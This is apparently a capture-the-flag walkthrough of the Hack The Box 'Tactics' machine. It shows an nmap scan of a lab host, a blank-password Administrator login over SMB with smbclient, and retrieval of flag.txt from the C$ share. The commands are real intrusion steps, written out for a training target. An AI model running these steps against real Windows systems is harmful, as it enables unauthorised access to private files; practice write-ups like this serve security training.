Tactics

Enumeration

nmap scan result.

```
┌──(funa㉿kali)-[~/l3ickey/htb/Tactics]
└─$ nmap -sC -sV -Pn 10.129.116.247
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-06 00:20 JST
Nmap scan report for 10.129.116.247
Host is up (0.24s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-01-05T15:32:01
|_  start_date: N/A
|_clock-skew: 10m48s

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.37 seconds
```

smbclient Administrator no password.

```
┌──(funa㉿kali)-[~/l3ickey/htb/Tactics]
└─$ smbclient -L 10.129.116.247 -U Administrator
                                 1 ⨯
Enter WORKGROUP\Administrator's password:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available
```

Foothold

access to the file system.

```
┌──(funa㉿kali)-[~/l3ickey/htb/Tactics]
```

```
└─$ smbclient \\\\10.129.116.247\\C$ -U Administrator
Enter WORKGROUP\Administrator's password:
Try "help" to get a list of possible commands.
smb: \> ls
  $Recycle.Bin                      DHS        0  Thu Apr 22 00:23:49 2021
  Config.Msi                        DHS        0  Thu Jul  8 03:04:56 2021
  Documents and Settings          DHSrn        0  Thu Apr 22 00:17:12 2021
  pagefile.sys                      AHS 738197504  Thu Jan  6 00:28:46 2022
  PerfLogs                            D        0  Sat Sep 15 16:19:00 2018
  Program Files                      DR        0  Thu Jul  8 03:04:24 2021
  Program Files (x86)                 D        0  Thu Jul  8 03:03:38 2021
  ProgramData                        DH        0  Thu Apr 22 00:31:48 2021
  Recovery                         DHSn        0  Thu Apr 22 00:17:15 2021
  System Volume Information         DHS        0  Thu Apr 22 00:34:04 2021
  Users                              DR        0  Thu Apr 22 00:23:18 2021
  Windows                             D        0  Thu Jul  8 03:05:23 2021

                3774463 blocks of size 4096. 1159538 blocks available
smb: \> cd Users\Administrator\Desktop\
smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Thu Apr 22 16:16:03 2021
  ..                                 DR        0  Thu Apr 22 16:16:03 2021
  desktop.ini                       AHS      282  Thu Apr 22 00:23:32 2021
  flag.txt                            A       32  Fri Apr 23 18:39:00 2021

                3774463 blocks of size 4096. 1159538 blocks available
smb: \Users\Administrator\Desktop\> get flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 32 as flag.txt (0.0
KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \Users\Administrator\Desktop\>
```

Congratulations!